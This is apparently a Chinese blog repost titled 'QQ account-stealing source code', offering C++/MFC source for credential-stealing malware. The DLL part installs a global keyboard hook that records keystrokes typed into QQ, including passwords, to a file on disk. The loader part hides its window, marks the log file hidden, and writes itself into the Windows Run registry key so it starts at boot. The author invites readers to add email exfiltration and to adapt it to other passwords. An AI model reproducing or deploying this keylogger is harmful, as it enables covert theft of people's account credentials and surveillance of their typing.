QQ盗号源代码
来源:互联网 发布:买家怎样加入淘宝客 编辑:程序博客网 时间:2024/04/28 03:40
这个程序有个缺点,就是邮件发送,我在网上找了好久,没一个如意的,如果有能做补充,那最好不过了。
程序分两部分:
一:DLL部分,这部分是一个钩子函数,是为了监视你的键盘输入,如果是输入QQ的,就记下你的数据(如果你要盗其他密码,不很容易吗?)
二:exe部分,这部分就是加载dll文件,很简单。
程序分两部分:
一:DLL部分,这部分是一个钩子函数,是为了监视你的键盘输入,如果是输入QQ的,就记下你的数据(如果你要盗其他密码,不很容易吗?)
// test3.cpp : Defines the initialization routines for the DLL.
//
#include "stdafx.h"
#include "test3.h"
#include <tlhelp32.h>
#define DllExport _declspec(dllexport)
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
#pragma data_seg(".SHARDAT")
static HHOOK hkb = NULL;
#pragma data_seg()
HINSTANCE hins;
CFile m_pfile;
HWND hcaretWnd = NULL;
//
// Note!
//
// If this DLL is dynamically linked against the MFC
// DLLs, any functions exported from this DLL which
// call into MFC must have the AFX_MANAGE_STATE macro
// added at the very beginning of the function.
//
// For example:
//
// extern "C" BOOL PASCAL EXPORT ExportedFunction()
// {
// AFX_MANAGE_STATE(AfxGetStaticModuleState());
// // normal function body here
// }
//
// It is very important that this macro appear in each
// function, prior to any calls into MFC. This means that
// it must appear as the first statement within the
// function, even before any object variable declarations
// as their constructors may generate calls into the MFC
// DLL.
//
// Please see MFC Technical Notes 33 and 58 for additional
// details.
//
/////////////////////////////////////////////////////////////////////////////
// CTest3App
BEGIN_MESSAGE_MAP(CTest3App, CWinApp)
//{{AFX_MSG_MAP(CTest3App)
// NOTE - the ClassWizard will add and remove mapping macros here.
// DO NOT EDIT what you see in these blocks of generated code!
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
DWORD DllExport GetQQ()
{
HANDLE m_handle=::CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
PROCESSENTRY32* Info = new PROCESSENTRY32;
Info->dwSize = sizeof(PROCESSENTRY32);
if(::Process32First(m_handle,Info))
{
while(::Process32Next(m_handle,Info)!=FALSE)
{
CString ss;
ss=Info->szExeFile;
ss.MakeLower();
if(ss.Find("qq") != -1)
{
return Info->th32ProcessID;
}
}
::CloseHandle(m_handle);
if(Info)
{
delete Info;
}
}
return -1;
}
BOOL DllExport b_Focus()
{
HWND hWnd;
GUITHREADINFO* Info = new GUITHREADINFO;
Info->cbSize = sizeof(GUITHREADINFO);
if(::GetGUIThreadInfo(NULL,Info) == 0)
return FALSE;
hWnd = Info->hwndCaret;
if(hWnd == hcaretWnd)
{
return TRUE;
}
else
{
hcaretWnd = hWnd;
return FALSE;
}
}
LRESULT DllExport CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
if(::GetCurrentProcessId() != GetQQ())
return CallNextHookEx(hkb, nCode, wParam, lParam );
HWND H_wnd = ::GetForegroundWindow();
char sTitle[255];
CString ss;
::SendMessage(H_wnd,WM_GETTEXT,255,(LPARAM)sTitle);
ss = sTitle;
int n = ss.Find("发送消息",0);
int m = ss.Find("聊天室",0);
if(m >= 0 || n >= 0)
return CallNextHookEx(hkb, nCode, wParam, lParam );
if(nCode == HC_ACTION && (lParam & 0xc000ffff) == 1)
{
CString sName;
BOOL b_Sft = ::GetAsyncKeyState(VK_SHIFT) >> ((sizeof(short) * 8)-1);
if(b_Sft)
{
switch(wParam)
{
case '1':sName = "!";break;
case '2':sName = "@";break;
case '3':sName = "#";break;
case '4':sName = "$";break;
case '5':sName = "%";break;
case '6':sName = "^";break;
case '7':sName = "&";break;
case '8':sName = "*";break;
case '9':sName = "(";break;
case '0':sName = ")";break;
case 'A':sName = "A";break;
case 'B':sName = "B";break;
case 'C':sName = "C";break;
case 'D':sName = "D";break;
case 'E':sName = "E";break;
case 'F':sName = "F";break;
case 'G':sName = "G";break;
case 'H':sName = "H";break;
case 'I':sName = "I";break;
case 'J':sName = "J";break;
case 'K':sName = "K";break;
case 'L':sName = "L";break;
case 'M':sName = "M";break;
case 'N':sName = "N";break;
case 'O':sName = "O";break;
case 'P':sName = "P";break;
case 'Q':sName = "Q";break;
case 'R':sName = "R";break;
case 'S':sName = "S";break;
case 'T':sName = "T";break;
case 'U':sName = "U";break;
case 'V':sName = "V";break;
case 'W':sName = "W";break;
case 'X':sName = "X";break;
case 'Y':sName = "Y";break;
case 'Z':sName = "Z";break;
}
}
else
{
switch(wParam)
{
// 0~9
case '1':sName = "1";break;
case '2':sName = "2";break;
case '3':sName = "3";break;
case '4':sName = "4";break;
case '5':sName = "5";break;
case '6':sName = "6";break;
case '7':sName = "7";break;
case '8':sName = "8";break;
case '9':sName = "9";break;
case '0':sName = "0";break;
// A~Z
case 'A':sName = "a";break;
case 'B':sName = "b";break;
case 'C':sName = "c";break;
case 'D':sName = "d";break;
case 'E':sName = "e";break;
case 'F':sName = "f";break;
case 'G':sName = "g";break;
case 'H':sName = "h";break;
case 'I':sName = "i";break;
case 'J':sName = "j";break;
case 'K':sName = "k";break;
case 'L':sName = "l";break;
case 'M':sName = "m";break;
case 'N':sName = "n";break;
case 'O':sName = "o";break;
case 'P':sName = "p";break;
case 'Q':sName = "q";break;
case 'R':sName = "r";break;
case 'S':sName = "s";break;
case 'T':sName = "t";break;
case 'U':sName = "u";break;
case 'V':sName = "v";break;
case 'W':sName = "w";break;
case 'X':sName = "x";break;
case 'Y':sName = "y";break;
case 'Z':sName = "z";break;
}
}
//数字键
switch(wParam)
{
case VK_BACK:sName = "~";break;
case VK_NUMPAD1:sName = "1";break;
case VK_NUMPAD2:sName = "2";break;
case VK_NUMPAD3:sName = "3";break;
case VK_NUMPAD4:sName = "4";break;
case VK_NUMPAD5:sName = "5";break;
case VK_NUMPAD6:sName = "6";break;
case VK_NUMPAD7:sName = "7";break;
case VK_NUMPAD8:sName = "8";break;
case VK_NUMPAD9:sName = "9";break;
case VK_NUMPAD0:sName = "0";break;
case VK_MULTIPLY:sName = "*";break;
case VK_ADD: sName = "+";break;
case VK_SUBTRACT:sName = "-";break;
case VK_DECIMAL: sName = ".";break;
case VK_DIVIDE: sName = "/";break;
}
//其他键的处理
char KeyName[50];
ZeroMemory(KeyName,50);
GetKeyNameText(lParam,KeyName,50);
CString KeyNameStr=KeyName;
if(KeyNameStr=="`")
{
if(b_Sft)
sName = "~";
else
sName = "`";
}
if(KeyNameStr=="-")
{
if(b_Sft)
sName = "_";
else
sName = "-";
}
if(KeyNameStr=="=")
{
if(b_Sft)
sName = "+";
else
sName = "=";
}
if(KeyNameStr=="[")
{
if(b_Sft)
sName = "{";
else
sName = "[";
}
if(KeyNameStr=="]")
{
if(b_Sft)
sName = "}";
else
sName = "]";
}
if(KeyNameStr==";")
{
if(b_Sft)
sName = ":";
else
sName = ";";
}
if(KeyNameStr=="'")
{
if(b_Sft)
sName = "/"";
else
sName = ",";
}
if(KeyNameStr==",")
{
if(b_Sft)
sName = "<";
else
sName = ",";
}
if(KeyNameStr==".")
{
if(b_Sft)
sName = ">";
else
sName = ".";
}
if(KeyNameStr=="/")
{
if(b_Sft)
sName = "?";
else
sName = "/";
}
if(KeyNameStr=="//")
{
if(b_Sft)
sName = "|";
else
sName = "//";
}
m_pfile.Open("D://ww.txt",CFile::modeWrite);
m_pfile.SeekToEnd();
if(!b_Focus())
{
CString ss = "/r/n";
m_pfile.Write(ss,ss.GetLength());
}
m_pfile.Write(sName, sName.GetLength());
m_pfile.Close();
}
LRESULT RetVal = CallNextHookEx(hkb, nCode, wParam, lParam );
return RetVal;
}
BOOL DllExport installhook()
{
hkb = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,0);
return TRUE;
}
BOOL DllExport UnHook()
{
BOOL unhooked = UnhookWindowsHookEx(hkb);
return unhooked;
}
BOOL CTest3App::InitInstance ()
{
AFX_MANAGE_STATE(AfxGetStaticModuleState());
hins=AfxGetInstanceHandle();
return TRUE;
}
/////////////////////////////////////////////////////////////////////////////
// CTest3App construction
CTest3App::CTest3App()
{
// TODO: add construction code here,
// Place all significant initialization in InitInstance
}
/////////////////////////////////////////////////////////////////////////////
// The one and only CTest3App object
CTest3App theApp;具体的请看源代码
二:exe部分,这部分就是加载dll文件,很简单。
HWND OldWnd = NULL;
::EnumWindows((WNDENUMPROC)EnumWindowsProc,(LPARAM)&OldWnd);
if(OldWnd != NULL)
return false;
static HINSTANCE hinstDLL;
typedef void (CALLBACK *inshook)();//定义回调函数的地址
inshook instkbhook;
if(hinstDLL=LoadLibrary((LPCTSTR)"test3.dll"))
{
instkbhook=(inshook)GetProcAddress(hinstDLL, "installhook");
instkbhook();
}
else
{
AfxMessageBox("Not Find The Dll");
}
CTestwk1Dlg *pdlg = new CTestwk1Dlg;
m_pMainWnd = pdlg;
pdlg->ShowWindow(SW_HIDE);
CFileFind pfile;
if(!pfile.FindFile("D://ww.txt",0))
::CreateFile("D://ww.txt",0,FILE_SHARE_WRITE,NULL,CREATE_NEW,FILE_ATTRIBUTE_HIDDEN,NULL);
HKEY hregkey=NULL;
CString m_strreg;
char sPath[100];
::GetModuleFileName(NULL,sPath,100);
m_strreg=_T("Software//Microsoft//Windows//CurrentVersion//Run");
if (RegOpenKey(HKEY_LOCAL_MACHINE,m_strreg,&hregkey)!=ERROR_SUCCESS)
{
return;
}
else
{
DWORD type_1=REG_SZ;
if(::RegSetValueEx(hregkey,"testwk1",0,REG_SZ,(BYTE*)sPath,100)!=ERROR_SUCCESS)
{
return;
}
}
- QQ盗号源代码
- QQ源代码
- QQ消息轰炸机源代码
- QQ申请程序源代码
- QQ的部分源代码
- qq客服在线源代码
- QQ客户端源代码发布
- QQ 源代码 Java 实现
- 安卓中QQ登陆源代码
- 自已写一个QQ号申请精灵(附最新源代码)
- 研究分析QQ木马程序源代码
- QQ连连看外挂源代码
- 挂QQ的程序源代码
- QQ验证码识别源代码
- QQ自动发消息源代码
- QQ拼拼看修改器源代码
- QQ空间魔力日志源代码
- 盗QQ号详解
- PHP5一直以来的bug!
- (BCB)校验当前文件是否被破坏或对当前文件添加校验位
- The cyber technolog---I prefer best
- 夜已深,还有什么人
- WINDOWS系统文件详解--神经病才去翻译MSDN,但感谢这个神经病.
- QQ盗号源代码
- 我是tsing
- 真幸运啊
- PHP实现Mod Rewrite重定向功能
- Thinking:Java中static、this、super、final用法 转自:猫儿左左技术&生活空间
- 2004.08.25,Wed - 明天返校
- Java语言中两种异常的差别 转自:猫儿左左技术&生活空间
- Java Collections---HashMap深度分析与比较 转自:猫儿左左技术&生活空间
- JSP中引用JavaBean 组件